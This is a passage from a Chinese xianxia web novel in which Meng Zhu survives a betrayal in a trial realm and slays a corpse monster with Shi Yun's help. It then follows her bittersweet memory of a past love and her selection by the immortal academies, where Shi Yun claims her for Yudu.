孟竹正将身边一个活尸抹了脖子,手上的匕首已经开始变钝,刃边微微卷起。 她用不惯统一制式的长剑,一直都用的是贴身的匕首,这种不含任何灵力的武器是唯一被允许贴身佩戴的。 “真倒霉!”韩韬一脚将身边的尸体踢开,靠在一块大石边休息:“活尸越来越多了。” 孟竹将匕首收好,“越往西走,活尸就越多。” “武器也快没有了。” “不应该啊……”韩韬纳闷道:“试炼之境的魔物数量是有限的,怎么会还越杀越多了,况且,这一路走来,我们连其他参选者的影子都没有看到。” “确实不太正常。”孟竹沉默了片刻,又道:“杀活尸的难度也越来越大,它们变得更加敏捷了。” 天与远山相连,入目是灰白色的,试炼之境中没有不分昼夜,永远都是灰蒙蒙的一片。 韩韬看着孟竹脸上沾到的一点血痕,轻轻笑起来:“你看……真是不小心。” 说着,他从袖口掏出一方手巾,轻轻压在孟竹的脸上擦了擦,眼神微微暗了下来,轻声道:“……说了我会保护你的,何必这样拼命。” 孟竹没阻止他的动作,任由韩韬拭净她脸上的血痕,“不用擦了吧?” “嗯?”韩韬唇角带笑,“什么?” 孟竹也笑:“反正还会变得更多的。” 韩韬的唇角僵了一瞬:“……你在说什么啊?” “真的真的会保护我吗?”孟竹抓住韩韬的手,慢慢将他的手指贴在自己的侧脸。 柔软的脸颊在韩韬的掌中轻轻摩擦。 她抬眸看着韩韬,向来没什么表情的脸上露出一点柔情,分外动人*。 韩韬的手指僵住,“你……” 胸口处忽然传来冰凉的触感,他慢慢低下头。 一把匕首插入了他的心口。 孟竹攥着刀的手狠狠一拧,几乎是立刻,韩韬痛苦的呻-吟便传遍了整个山谷。 他猛地伸腿将孟竹一脚踹开,咬着牙出声:“来人!” 话音落下,周围立时落下数道身影,韩韬被人扶着,他将胸口的匕首拔了出来,原来脸上常常挂着的开朗阳光的笑容消失不见。 “你什么时候发现的?” 孟竹被他踹了一脚,喉咙和胸口满是血腥味,她啐了一口,将嘴里的血沫吐掉。 见孟竹不说话,韩韬捂着胸口冷笑了一声:“知道我在骗你,你还跟着进来,该说你是蠢还是胆子大呢?” 孟竹坐了起来,“就算我不跟你进来,结果会跟现在有什么不同么?” “你引我来这里,不就是想要杀了我吗?” 韩韬仰头将属下递来的药吃下,将瓶子随意丢开,“不错啊,到底跟施允交情不错,直觉这么敏锐,我原本想着你要是不肯跟我进来,就干脆直接绑了丢进来,反正结果都一样。” 无怪乎仙洲有头有脸的人物都是名门贵胄,丹药一喂,伤口便以肉眼可见的速度迅速愈合,普通的疗伤药可做不到这种程度。 韩韬看着孟竹,饶有兴致地得打量着她:“但是你实在太有趣了,让我情不自禁想跟你多玩两天,再说了,你不是本来就在找死么,让我杀了你,岂不是更遂了你的心愿?” 孟竹:“这跟施允有什么关系?” “诶?”韩韬治好了胸口的伤,只留下衣服上一道裂口,他微微瞪圆了眼睛:“你不会以为我是凌宿的人吧?” 孟竹并不在乎他是谁的人,只是他身边的人看起来都不太好对付。 以一敌多,实在不占优势。 “那个蠢货也配指使我做事?”韩韬慢慢往前,走到孟竹跟前:“他想杀你,我不过顺水推舟罢了。” 他的身子微微前倾,“你说,要是把你炼成尸魁,施允会是什么样的表情呢?” 韩韬叹了口气,笑道:“啊……我真的好期待啊,真想你到底有什么本事,能让他这么在意。” 孟竹手撑在地上,仰头看他:“我觉得你大概误会了什么。” “我……” 砰—— 韩韬还没反应过来,身体猛然弯曲,像个速度极快的球体飞了出去。 一瞬间周围响起数道拔剑之声,却在看到来人之后又齐齐退了回去。 风吹叶动,孟竹的耳畔掠过一缕温柔的风。 施允收回脚,看了坐在地上的孟竹一眼,“起来。” 他的出现总是这么猝不及防,却又相当及时。 孟竹拍了拍屁股,站起来,“你来得真是时候。” 她竖起大拇指:“真厉害……这叫什么,英雄救美?” 施允嘴角一扯,“那你离美这个标准还差了太多。” “行吧。”孟竹点头,也不反驳。 “喂!”韩韬方才撞到树上,疼得龇牙咧嘴:“你们真悠哉啊。” 他明明找了个由头将施允支走了,亲眼看到他离开了天启城,倒是真的没料到施允会这么快赶回来。 施允视线扫了周围的环境一圈,道:“这个试炼之境没什么意思。” 孟竹嗯了一声,道:“确实,杀来杀去无非就是些老鼠和活尸。” 这两天她杀活尸杀得都有些免疫了,甚至能面不改色地杀完活尸后再啃一口干粮。 “我说——”韩韬的剑直指孟竹:“当我不存在么?” 施允抬首,忽然道:“剑法比上次见你要精进了些,不错。” 剑尖一颤。 韩韬的双眼发亮:“真……真的?” 孟竹将剑身用两指拨开:“别拿剑指我,我们扯平了。” 韩韬放下剑,气极反笑:“是这么个扯平的法子么?”他指了指自己的心口:“我只是想看看你吃瘪的样子,吓唬你一下,你却想要我的命!你真是下手够狠的!” 孟竹闻言,盯着手上被碎石擦破的伤口,“你的意思是你在同我开玩笑?可在你把我引到这里,对我放狠话的时候,我一点也不觉得好笑。” “我要杀你还需要等到现在?反倒是你……” 施允打断了他的话:不耐烦道:“那你不是没死么?” 韩韬不可置信地看了施允一眼,“若不是我有心法护体,我能现在还这么安然无恙吗?” “你我相识多年,你就这么偏袒一个外人?” 施允:“说得好,那她在天启城放火的时候,你拦着了吗?” 停顿了一下,施允冷飕飕看了韩韬一眼,又道:“说要把人炼成尸魁的不是你吗?” “……” 远处有人的交谈声传来,踩着脚下的落叶,带来不小的声响。 韩韬挥手让身边的暗卫消失,三人的目光看向来人的方向。 来人数量不少,放眼望去有四五十余人,声势浩大。 孟竹叹了口气,果然是熟面孔。 凌宿被人簇拥着,走在最前面,还是那副趾高气昂的模样,看来在这个试炼之境里也过得游刃有余。 看见孟竹,他先是愣了一下,然后脱口而出:“你怎么还没死?” 孟竹靠着石头,从包里摸了颗治疗的丹药出来吃:“是啊,我从小就听人说我命硬。” 这发放的丹药感觉劣质得很,应该是品质很差的那种,搓得像眼珠子那么大一颗,又黑又圆,一口吃下去噎得孟竹险些喘不过气。 施允一只手伸过来将她手中的瓶子抽走,皱着眉看了一眼:“吃的什么玩意儿。” 对面的凌宿脸色一沉,“你们两个又是什么人?和她是一伙的?” 韩韬转过脸,摆摆手道:“误会了啊,我和他们才不是一路的。” 他笑嘻嘻道:“恰巧碰上了而已。” 树林中回荡着窃窃私语的人声,有人认出了韩韬,他人缘不错,还有人在人群中跟他打了招呼。 韩韬朝着对面走去,站到了队伍里,和那人热切地聊了起来。 凌宿看着韩韬走过来,面色稍缓,又扬了扬下巴,对着施允问道:“你呢?” 施允手往后一扬,将瓶子丢掉,问孟竹:“我们俩是一伙的吗?” 孟竹想了想,慢吞吞道:“不是。” 虽然不知道施允究竟来这里做什么,但他肯定和自己不是一路人。 他做事向来随心所欲,没人知道他在想什么。 总不可能是为了她吧? 听到孟竹的回答,施允面无表情地点了点头,转头对着凌宿道:“你说得没错,我们两个就是一伙的。” 孟竹:??? 施允说这话的时候,脸上的表情和初见她时一模一样,嘲讽中带着浓浓的轻蔑。 十分欠揍。 凌宿冷笑一声:“不知死活。” 他一挥手,对着身后的那群人吩咐道:“把他们两个给我丢进洞里去。” 第30章 听话 洞穴的入口很窄,越往深处走,里面就越开阔。 脚步声回荡在黑暗又空寂的空间内。 凌宿人还怪好的呢。 把人丢洞里之前还先问问清楚,好像他多光正伟大,绝不牵连无辜之人似的。 孟竹有些无语地看着身边神色自若的施允,方才凌宿身边的那些人一窝蜂地冲过来,像是失了智一样向他们冲了过来。 施允倒好,那些人连他的衣角都没碰到,他拽着孟竹像道风似的飘进了洞穴里。 这叫什么,自投罗网? 孟竹试探开口:“不跑么?我还想挣扎一下呢。” “跑什么?”施允的样子像是在散步,悠然自得的样子没有一点紧张的感觉。 看着他的模样,孟竹也稍稍放下心来,情况总不会比现在更差了吧。 洞穴内很安静,他们越往深处走,有一种类似于野兽的低鸣声便越来越清晰。 “嗬……嗬……” 孟竹停下脚步,“前面好像有什么东西。” 听起来不太妙啊。 闻言,施允一挥衣袖,洞穴内忽然亮起来,照亮了凹凸不平的石壁,不足二十米的前方,地上正伏着一个人形的东西。 孟竹的脚步不由自主地往后退了一步。 那东西正慢吞吞地从地上爬起来,体型是孟竹的两倍不止,皮肤的颜色呈暗青色,每一寸皮肤上面都布满了一个个蠕动着的圆球,像是眼珠一样,没有头发,整个面部都布满了黑色的纹路。 硕大的眼球凸出来,完全没有眼白,嘴张着,露出一双长长的獠牙,正往下不断滴着唾液。 脑中好像有危险的警报声哔哔作响。 不光这形象,就连孟竹的直觉也在告诉她,这东西比她这几日见过的活尸都要危险太多。 “……这什么?” 施允跟着她往后退了几步,“六阶尸魁。” “本来这个试炼之境内是只有一个二阶尸魁的,被人喂了些有意思的东西,变成了六阶。” “……最高几阶啊?” “九阶。”施允道:“所以这个六阶也不是那么可怕。” 他施施然指着那个怪物,对着孟竹道:“来,孟竹,砍了它的头。” 听听这理所当然的语气,孟竹抓了把自己额前的头发,确认自己没有在梦里。 “你是不是搞错了什么,我只是力气大了一点,这东西是我能搞定的吗?” 她有些崩溃地望着那个还在蠕动的尸魁,“再说,你比我强多了吧,你怎么不去砍啊。” 洞穴内有一处废弃的石台,施允用了个清洁术,往那石台上盘腿坐下。 施允似乎思索了一下,用一种和他表情极为割裂的语气,理直气壮道:“我害怕。” 孟竹捏紧了拳头,“还装?” 沉默了一瞬,施允抿唇抬眼,语气听起来竟然还有几分委屈:“我只是阵法和符术厉害些,这些东西对尸魁没用。” 孟竹愣了一下,记忆中,除了初见时用剑指了指阿喜的眉心,施允确实在凡界用的多是符术。 什么绣花枕头? 印象中,施允做什么事都是游刃有余的样子,带着一股睥睨又傲慢的态度,让人总觉得他很强大。 真是没想到…… 叹口气,孟竹松松肩骨,望着石台上的人嘱咐道:“那你在这里待着好了。” 施允指尖亮起一束光,他微笑道:“放心,我的疗愈术并不差。” 下一瞬,尸魁猛地扑上来,尖利的长爪险些戳进孟竹的眼睛里。 孟竹弯腰下沉,一拳朝上打去,清晰的骨裂声在洞穴内响起。 尸魁晃了晃脑袋,并没有倒下去,像是受了刺激,动作更加灵活了。 “我没武器了。”孟竹一边躲,一边喘口气朝着施允道。 施允看着孟竹的招式,若有所思道:“你不适合用剑。” “废话。”孟竹回了一句:“我又没学过。” 身侧抛来一道银色的弧光,孟竹在地上滚了两圈,从地上将那东西捡起来。 是一把薄如蝉翼的匕首,冷锋如霜,削铁如泥,握在手中尺寸合宜,光凭感觉就能知道,这是一把上品的武器。 “谢了。” 话音刚落,只是一个瞬息没注意,腰侧不慎被尸魁的长爪挖了进去。 “……嘶。” 孟竹吃痛地倒吸了口气,反手一刀斩下那只袭击过来的手,靠在石壁上喘着粗气。 还没有感受到太过剧烈的疼,腰侧便被缠上一道灵光,伤口眨眼间便愈合了。 “厉害啊,施允。”孟竹受了治疗,身体很快又松快起来,甚至连疲劳值仿佛都瞬间清零了。 施允的手指不动声色地动了动:“多谢,你也不差。” 可惜尸魁的手很快便重新长了出来。 不知道是不是孟竹的错觉,她总觉得之后尸魁的动作似乎比之前迟缓了许多,每当它要靠近她的要害之处时,它的动作都会比之前要更慢一些,让她有了充足的反应时间。 随着时间的流逝,孟竹的动作越来越灵活。 她发现,尸魁虽然动作很危险,却是一个很合适的陪练对象。 孟竹的动作和打法没有规律,也不是传统的剑招,看似简单鲁莽,却十分有效,银色的短刃在她手中翻飞,几乎刀刀致命,直指要害。 她仿佛忘了时间的流逝,只觉得自己体内焕发出另一种勃然的生机,手也越打越热。 施允坐在石台上,静静地望着前方沉浸在战斗中的人,她的额发被汗打湿,双颊因为打斗有些泛红。 她受伤的次数越来越少了。 孟竹的近身格斗很厉害,身轻如燕,对比体型较为庞大的尸魁来说,灵活成了她最大的优势。 正巧这时孟竹被尸魁从身上甩了下来,她单膝跪地稳住身形,捏住手中的短刃,抬眸时,眼睛亮如星辰。 下一秒,她后脚一蹬,像道离弦的箭一般迅速冲向目标,短刃偏了一寸,顺着尸魁的颈部斜斜划下,鲜血瞬间喷涌而出,从颈部到上半身破开了一个巨大的口。 还差一点。 孟竹抹了一把脸上的血,听着尸魁发出痛苦的嚎叫,它在疯狂地扭动,想要将孟竹和那把插进它身体的刀一同甩出去。 “咔哒——” 随着一道清脆的声响,孟竹踢断了尸魁的膝盖。 怪物的身躯一瞬间跪了下来,刀刃从泊泊流着鲜血的腹部被抽出,孟竹按住它的脑袋,干脆利落地将匕首插进它的脖子。 手起刀落,随着大量的鲜血喷涌而出,一颗带血的头颅滚落在了地上。 一颗翠绿的灵珠从逐渐消散的尸魁身上飘出来,像是被自动吸引一般融入孟竹的身体内。 她的身体内迸发出一道剧烈的光芒,片刻后,又渐渐平息下来。 结束了。 孟竹站在原地,浑身克制不住地颤抖,血淋了她满头满身,但她并不觉得难受,反而有种难以言喻的畅快和兴奋。 她在享受这场酣畅淋漓的战斗。 简直不可置信,这样的事情,她竟然真的可以做到。 “孟竹。” 身后有人在喊她的名字。 她回头,撞进那双微弯的眼睛。 “你进境了。” “你看,我早就知道你能行。” 孟竹张了张嘴,出口时才发现自己的声音嘶哑地过分:“我……” 过去多久了? 她不知道。 施允从石台上走下来,手上拿了一块方巾,伸手想要替她将脸上的血擦干净。 孟竹动了动手,想要攥住施允的手,余光看到手上粘腻的鲜血,又往后退了一步,沙哑道:“脏。” “你别碰。” 她身上的味道腥臭难闻,施允这样爱干净的人,她不能将他也弄脏了。 “我自己擦。”孟竹伸手将那块方巾从施允手中抽出来,抹了把脸。 身体非但没有觉得疲惫,反而比之前更加精神,充满力量的感觉,孟竹能明显地感觉到自己的体内生成了一颗金丹,灵气磅礴地从身体里溢出。 施允的手停在原地,又慢慢收了回去,“可以出去了。” 看着脏兮兮的衣裳,孟竹往身上施了个清洁术,虽然没有洗澡那么舒服,但身上的那些脏污和粘腻都被术法洗净了。 将身上收拾整洁以后,孟竹才下意识地问了一嘴:“你没受伤吧?” 她几乎是全神贯注,如入无我之境,连施允的存在都忘了。 现在放松下来,才发现施允的脸色有些苍白。 施允的视线忽然看向孟竹的身后,他猛地将孟竹一拉,孟竹和施允瞬间换了个位置。 闷哼一声,施允的头慢慢垂在了孟竹的肩头。 “痛……” 孟竹这才发现原先那被砍了头的尸身不知道何时站了起来,朝着施允的背上狠狠挖了一爪,然后又咚地一声倒在了地上,再没了声响。 她呆了一下,没想到这东西还会回光返照。 抓着施允的肩膀,孟竹将他稍稍撇开,探过头查看他背上的伤势。 尖利的爪印撕破皮肉,几乎深可见骨,红色的肉瓣粘连着皮肤,看起来严重极了。 施允的头搭在孟竹肩上,轻轻吸着气,看起来脸色更苍白了。 孟竹看着那道伤口,心口忽然涌起一道莫名的颤栗,流窜至四肢百骸。 浴池中,带着血的雾气和氤氲双眸,像是闪回一样忽然出现在她脑海中。 “你不是会疗愈术吗?”孟竹吸了口气,偏过头,甩开这荒唐的画面。 “没力气了。”施允虚弱地说:“这四天日夜不断地帮你治疗,我的灵力也耗尽了。” 已经四日了,她竟然丝毫没有察觉到。 也难怪施允会这么虚弱,孟竹心想,怎么说也是因为自己而受伤的,她多少有些过意不去。 孟竹扶着施允的肩膀,让他靠在自己的怀里,“你身上有带治疗的灵药吗?” 施允摇了摇头。 她的乾坤戒被封了,之前发放的灵药被施允扔掉了,眼下真是一穷二白,什么都没有。 “疼吗?”看着施允苍白的脸色,她的语气放轻了些。 施允不说话,只是呼吸急促了一些,他垂着眼睛,睫毛轻轻颤着,想必是难受极了。 孟竹暗自叹了口气,真可怜,疼得连话都说不出来了。 “咱们先出去再说吧。” 也不知道外面是什么情况了,凌宿那行人走了没有,孟竹一边想着,一边发现自己一侧的身体越来越重。 她和施允的左右脚差点绊在一起,这样要走到什么时候去? 孟竹扶了扶他的肩膀,低声问:“很难受吗?” 施允垂眸不言。 下一秒,孟竹将他整个人拦腰抱了起来,轻声道:“别乱动,我带你出去。” 施允四肢僵直地瞪视着孟竹,“你……干嘛?” 叹口气,孟竹避开他受伤的地方,手向上勾,轻轻揉了揉施允的发。 “乖,听话一点。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 30-40 第31章 你对所有人都这样吗 怀里的人僵硬得像块木头,孟竹只能安抚他:“没事的,快出去的时候我会把你放下来。” 施允好面子这事,她还是知道的。 被抱在怀里的人咬着牙,攥着孟竹衣领的手紧了又松,“……放我下来。” 孟竹健步如飞,她现在神清气爽,年富力强,别说抱个施允,再来几个也不在话下。 “你没好好吃饭吗?”孟竹忽然道:“怎么这么轻?” 施允扒拉了两下孟竹的手,发现毫无作用,遂放弃抵抗瘫在孟竹怀里。 孟竹的手很有力,走路虽然快倒也四平八稳,忽略那些奇怪的想法,简直像个移动的人形轿子。 他面无表情地看着面前的这种情况。 这显然不正常,也不合理。 “是你力气太大了。” 哪有动不动把男人当姑娘抱的人。 “力气大不好吗?”孟竹视线看着前方,又像是在看着更远的地方,“这样就可以保护自己身边的人了。” 脸上被微凉的手指捏了一下,孟竹回神。 施允的表情有些莫测。 “你总是对所有人都这样吗?” “哪样?” “就这样。” 施允的手指用力,捏住孟竹的下巴往下按。 距离被拉得很近,孟竹的视线落下来,对上了施允的眼睛。 黑沉的,幽深的眼眸中,亮着一点微光,带着某种莫名的执拗。 温热的呼吸浅浅吹在孟竹的唇边。 再开口时,施允的嗓音有些低哑:“……像我们现在这样。” 那清浅的回音荡在孟竹的耳边,她又听到了水滴滑落的声音。 岩洞上的小孔上积了水,沿着石柱上渗出的水滴慢慢落下。 它经历了雨雪风霜,四时轮转,带着陈年旧事的味道,滚滚而来。 滴答—— 水珠落入了少年浓密的黑发中,顺着额角滑下。 久远的回忆猝不及防地浮现在孟竹的脑海中。 “痛痛痛痛痛!” 坐在泳池边,霍予捂着腿痛苦哀嚎,孟竹拉开他的手,脚踝处已经肿起高高一片。 孟竹抿着唇蹲在霍予身前,不说话的时候,脸上的表情总有些冷。 看着她的模样,霍予伸手将孟竹额前的碎发缕到耳后,“生气了?” “知道自己不会游泳,为什么还要来这里?” 她轻轻揉捏着那一处受伤的地方,不太理解霍予为什么总是喜欢做一些吃力不讨好的事情。 霍予收回手,眼睛微微瞪圆了:“小竹,你不会又忘了吧?” “什么?”孟竹皱眉,表情带着几分困惑。 摇着头,霍予抱怨了一句:“喂,你怎么什么都不放在心上啊?” 他抓着孟竹的手,有些生气地捏了一下:“说好了,只要我学会游泳,你就答应我一件事的。” 什么时候? 孟竹在脑海中努力搜寻关于这件事的回忆,终于想起来,是在前一阵子看电视的时候,她一直在看体育频道里的男子游泳比赛。 其实也并没有什么好看的,只是有些无聊。 不过漂亮又流畅的肌肉线条,看起来确实赏心悦目。 霍予不知何时坐到孟竹身边,思索了一阵,道:“我要学游泳。” “嗯。” “学会以后能不能答应我一件事?” 她没怎么放在心上,霍予总是想一出是一出,于是孟竹随口应了一声:“行啊。” 从那天起,霍予便跟着了迷似的一有空就往泳池里泡着,对于这件事有着出乎意料的执着。 “想起来了?”霍予瞧着孟竹的表情,捏了捏她的手示意她回神。 “学不会又没关系。”孟竹道,“不必勉强自己。” “想做什么我答应你就是了。” 对于霍予,她总是习惯纵容的。 出乎意料的,霍予拒绝了她,他笑着摇了摇头:“不要,这可是关乎男人自尊心的问题。” 孟竹难以理解,一个游泳和自尊心又能扯上什么关系? “起来吧,去医院看看。” 霍予点头,手一撑想从地上站起来,没成想地面太湿,脚往前一滑,又一屁股坐了下来。 “啊……好痛!痛痛痛!” 看着霍予痛得龇牙咧嘴的样子,孟竹叹口气,将人拦腰抱了起来。 霍予在孟竹怀里哈哈笑了起来,“哇!公主抱!” 他笑得夸张,甚至拍起了大腿,在孟竹手上抖个不停。 孟竹手弯上来捏了捏霍予的脸,“别闹,一会儿滑下去了。” “我觉得我好像白雪公主。”霍予狂乱的笑声停下,忽然道。 孟竹抿着唇笑,回他:“嗯,霍予公主。” 霍予重重地叹口气,“王子殿下,真遗憾不能参加您今晚的舞会了,因为我把我的脚削掉了,穿水晶鞋实在太痛。” “看串了吧你,那是灰姑娘。” “……啊?” 夏日的阳光落在水中,带着波光粼粼的色彩,又照进少年的笑眼里。 霍予的头发湿漉漉得贴在孟竹身上,他的头发是自来卷,短而硬的触感,有些凉。 那张年轻的脸上带着独属于少年的神采,明亮而肆意。 他笑着捧起孟竹的脸,在她的侧脸上落下重重的一吻,两人的额头相抵,亲昵又眷恋。 霍予的声音叹息般地落在她的耳边,“小竹,永远别离开我。” “好。” 他们紧紧依偎着,度过漫长的季节,两个孤单的人,总是能够从彼此身上汲取最后一点温度。 夏天过去了,又好像永远留在了回忆里,故事的结局并不像童话故事那样美好。 王子没有找到她心爱的公主,灰姑娘的故事也只是一场梦,南瓜马车承载不了现实的包袱,午夜的钟声响起,一切又落回原点。 人在少年时,总以为凭着一腔热血就能跨越千山万水,胜过世事无常,以为自己遇见了刻骨铭心的爱情,关于人生的选择、未来的构想都填满了你的影子。 轻易地许下承诺,信誓旦旦地以为这份感情永远不会变。 以为这就是一生。 以为这份感情无坚不摧,无所不能。 以为真心就能换来真心。 可是霍予啊…… 我真心爱过你。 我从未放弃你。 为什么最先背弃的人,是你呢? “你在想什么?” 下巴被捏得生疼,孟竹恍惚的视线定格下来,回忆里的画面散开。 一滴泪,猝不及防地落了下来。 落在施允泛白的指尖。 他的手一颤,像被烫到了。 “……为什么?” 孟竹一愣,下意识地想要摸自己的脸,却发现自己还抱着一个人。 她把施允放了下来,“马上就到了,你可以自己走吧。” 伸手摸了摸脸颊,孟竹看着自己手上残留的泪,后知后觉地觉得有些难以置信。 她以为自己早就忘掉了,却会在这样一个不经意的、不合时宜的瞬间想起来。 可她一开始,并没觉得疼。 孟竹往前走,手却忽然被人拽住。 施允站在原地,手指扣住孟竹的手腕,一寸寸收拢:“回答我,你方才看着我的时候,想到了谁?” “不是。” 施允的眉拧了起来,对于孟竹的答非所问感到有些不快,“什么不是?” “不是对所有人都这样。” 安静了一瞬,她看见施允的唇微微张开,似乎想说些什么。 在施允开口之前,孟竹有些缓慢地说道:“我曾经有个非常……非常喜欢的人。” “非常……喜欢的人?” “对。” 施允:“所以呢?” “那你现在还喜欢他吗?” 孟竹一怔,她想否定,说出口的却是—— “我不知道。” 施允的手指猛地用力,捏得她的手腕有些疼。 半晌,他的声音才轻轻响起来:“那我呢?” 这一次,施允没有回避孟竹的视线,清清楚楚地看着她的眼睛。 “你也是因为喜欢我,才总是对我这样吗?” 在他的话语落下的一瞬间,孟竹的心脏猛地跳动了一下。 她喜欢施允吗? 说实话,她从没认真想过这个问题,这十年里她的目光始终都停留在霍予身上。 在她的人生中,充满了一张张面目模糊的人脸。 他们对她说了些什么? 是对她的鄙夷和厌恶吗? 还是曾经也对她倾吐过爱意? 她忘了。 或许她根本没记得过。 她的感情燃烧殆尽,烧成了灰,只留下了一座荒芜的坟墓。 这里无人踏足,也不应该,不能够被人闯进来。 孟竹望着施允的眼睛,缓缓摇了摇头:“不是的。” “我不喜欢你。” 施允的手慢慢地,一点点松开,平静的脸上甚至带了点笑,可孟竹却觉得他这样陌生极了。 他没说话,越过孟竹往前走。 孟竹看着他的背影,那背上血淋淋的一片,看起来触目惊心。 可施允走得很稳,再没喊过疼。 出了山洞,外面起了风,沙尘卷着落叶吹得满地都是。 秘境的出口已经出现,就在不远处。 只有一个人的声音从不远处传来,是韩韬。 “试炼之境结束了,就剩你们两个没出去了。” 说完,他忽然脸色一变,问施允:“你怎么受伤了?” “你的疗愈术呢?” 施允的脸色苍白,看起来像是失血过多的样子,韩韬刚要伸手去检查他的伤势。 “不必了。”施允侧身,躲开了那只手。 孟竹始终没说话,韩韬从一出来就觉得两个人之间的气氛不太对劲。 “到底发生什么事了?” 他没回答韩韬的问题,径自将手贴在出口的光圈上。 施允的身影渐渐变得透明,周身的光越来越盛,孟竹忽然有一种预感。 “施允。”孟竹叫住了他。 “我们不是朋友吗?” 沉默一瞬,在彻底离开之前。 施允偏过头,一字一句地回答孟竹的问题。 “我从来没把你当朋友。” “少自以为是了。” 第32章 选我 试炼结束,从秘境出来之后,遴仙台开启了。 原本热闹的天启城,参选者的数量少了非常多,只有约百人汇集在遴仙台下。 孟竹站在人群的末尾,一眼望去,余下的人都没几个熟面孔。 甚至连凌宿也不见了。 肩膀被人拍了一下,孟竹回头,“真好,还能在这里见到你。” 女孩的长相偏冷硬,有种女生男相的样子,不常见,但熟悉。 孟竹在脑海中回忆了下,记起了这号人,是她在客栈的时候遇到的饭搭子。 她点了下头应了声:“吕一。” 吕一道:“我还以为凌宿会在试炼中对你下手,没想到他自己反倒被抓起来了。” 看着孟竹有些不解的样子,她解释道:“你出来得晚,在你之前,仙洲韩氏的人出面,将凌宿带回了苍山问罪。” “听说仙洲的各个世家抓凌氏的把柄很久了,这人本事不大,却爱惹是生非,倒是留下了一箩筐的证据。” 怪不得,一出来就没看到他。 想到凌宿,孟竹又不可避免地想起了施允,这次能这么平静地度过遴选,施允应该也出了不少力。 看来他本来就是因为要查凌氏的事情才来到天启城的。 周围的人群窃窃私语,有些躁动起来。 吕一扬了扬下巴,看了台上一眼:“马上开始选人了。” 仙洲共分七城,以玉都为首,每一城内都设有学府,统一在这里教设剑术、符箓、法阵、卦术等等。 遴仙台很高,远远望去,有一行人登云而来,落座后,从台下往上看,模模糊糊的,看不清脸。 吕一道:“听说每个学府都会有人来选人,你想去哪里?” “随便吧,不是都差不多么?” “当然不一样。”吕一否定了她的说法,“玉都作为首府,学府自然也是最顶尖的,丰城、苍山次之,其余四城才是你所说的,差不多。” 孟竹嗯了一声,道:“选到哪去哪吧,我不挑。” 遴仙台上开始点名。 有人陆陆续续地从身边走过,台上的名字一个接着一个地念。 被点名的人要走到遴仙台上,接受属于仙洲的刻印,从此正式脱离凡界,成为仙洲的一员。 时间越过越久,孟竹百无聊赖地发着呆。 不知道又过了多久,一道声音将孟竹的神思拉了回来。 “孟竹。” 有人在喊她的名字。 孟竹抬头,往遴仙台上走,一步步踏上台阶,在入口处有一个身着考核官服饰的人捧着颗灵珠,示意孟竹将手放在上面。 灵珠瞬间在她掌心发出光芒,一瞬间十米之内的范围亮得惊人。 周围顿时响起一阵倒吸声。 灵珠发出的光芒越亮,就代表资质越好,修为越高。 之前的几十号人,最好的一位,也不过点亮了周身不足一米的范围,其余的人都是星火一般的微光。 考核官看了眼孟竹,有点不可置信,示意她再次将手放上去。 灵珠再次亮起,还是一样的结*果。 “是金丹期。” 考核官的话音落下,周围人的声音顿时沸腾了起来。 “新人中也会有金丹期?” “怎么可能?” “太夸张了吧。” “不会又是哪个世家大族来的小公主吧?” “不知道用了多少天材地宝才变成这样的,呵呵。” “……” 人们好像总是这样,比起肯定,质疑的声音总是来得那么快。 孟竹倒是不甚在意他们的声音,她确实走了捷径筑基,被人议论也无可厚非。 “吵什么?” 台阶之上传来的声音,很轻,却让沸腾的场面顷刻间冷了下来。 众人瞬间噤声。 孟竹循声望去,那人居于首座,正单手支着头看着台下,他的神情很淡,几乎没什么表情,却有一股无形的压迫扑面而来。 淡漠的视线扫过孟竹,丝毫没有停顿地移开,眉眼间透着冷而疏离的味道。 他们一人坐在高台之上,一人站在台下,隔着玉白的阶梯,遥不可及。 分明是施允的脸,又让人觉得格外陌生。 安静片刻,施允启唇吐出两个字:“继续。” 考核官斟酌了一下,开口询问:“这位参选者,有哪个学府愿意接收?” 话音落下的瞬间,长泽城所在位置的人抛出了玉印。 孟竹下意识地想要伸手去接。 可紧接着,又是几道玉印冲她抛过来,目不暇接。 有人出声调侃:“印海长老,可不是你先抛出来,人就是你的了啊。” “是啊,姑娘,我们苍山的实力,总在长泽之上吧。” “那我们丰城呢,姑娘资质上乘,理当来我们这里。” 印海长老生得慈眉善目,闻言只是捋了捋胡须,笑道:“我们在这里争来争去,还没听人家的意见呢?” 他转头笑眯眯地询问孟竹:“小姑娘,你自己想好,究竟想要去何处?” 孟竹抬眸,恰好看到了施允望过来的眼睛。 他淡淡看着孟竹,搭在扶手上的手指轻轻一抬,属于玉都的玉印,不偏不倚,恰好落入了孟竹的掌心。 就如同那支坠落的桐花。 “选。”他抬了抬下巴,对着孟竹冷冷地说。 施允的玉印一抛下来,场面倒是安静了几分。 所有人的视线都注视着孟竹,毕竟这种情况可不常见。 孟竹把所有玉印拢作一团,笑了一下,道:“不如抽中哪里就去哪里吧。” “确实是个好办法。”有人附和道。 为了公平起见,考核官将玉印接过来,示意孟竹从他手中进行抽签。 孟竹看了一眼,随意将手伸进去挑了一只玉印出来。 握在掌心看了一眼。 玉都。 “可有结果了?” 孟竹将玉印放回去,道:“不好意思,我想再抽一遍。” 这一次,她记住了那只刻着玉都字样的玉印位置,重新从另一侧抽出了一只玉印。 掌心闪烁,两个字印入眼帘。 玉都。 孟竹抬头看向施允,又对上了施允一双冷淡的眼。 有人道:“这回总有结果了吧,姑娘,大家的耐心可是有限的。” 孟竹将所有的玉印往前一推,道:“我想去长泽。” 台上忽然传出一声冷笑,施允道:“你抽中的是长泽么?” “是。” “撒谎。” “身为玉都的少主,也喜欢使这些不入流的手段么?” 场上静谧无声,任谁都看得出来两人之间气氛的古怪。 其余几城的遴选人面面相觑,玉都施氏是仙洲所有世家之首,各氏族都要仰赖玉都的照拂,没有人敢在这种场合驳了施允的面子。 如此口无遮拦,恐怕会失去遴选的资格。 是个人才,却一点眼力见都没有。 他们各自叹息了一声,都从对方眼里看到了对于孟竹的惋惜。 静默半晌,施允看着孟竹点了点头,道:“很好。” 他往后靠在座椅上,忽然意味不明地笑了一下,“如此不服管束的人,就由我带回玉都了。” “各位可还有什么意见?” 众人纷纷对视一眼,都摇了摇头,场面一时安静下来,静默无声。 他们看着孟竹的视线更加怜悯了些,虽然还是进了仙洲,可是—— 让这位记恨上,怕是以后也没有什么好果子吃。 立在施允身旁的人按照流程吩咐道:“这位姑娘,那便请上台来接受刻印吧。” “不必。”一道声音打断了他的动作。 迎着无数道视线,施允起身,他一步步,闲庭信步似的,从高高的遴仙台上走下来。 来到孟竹面前。 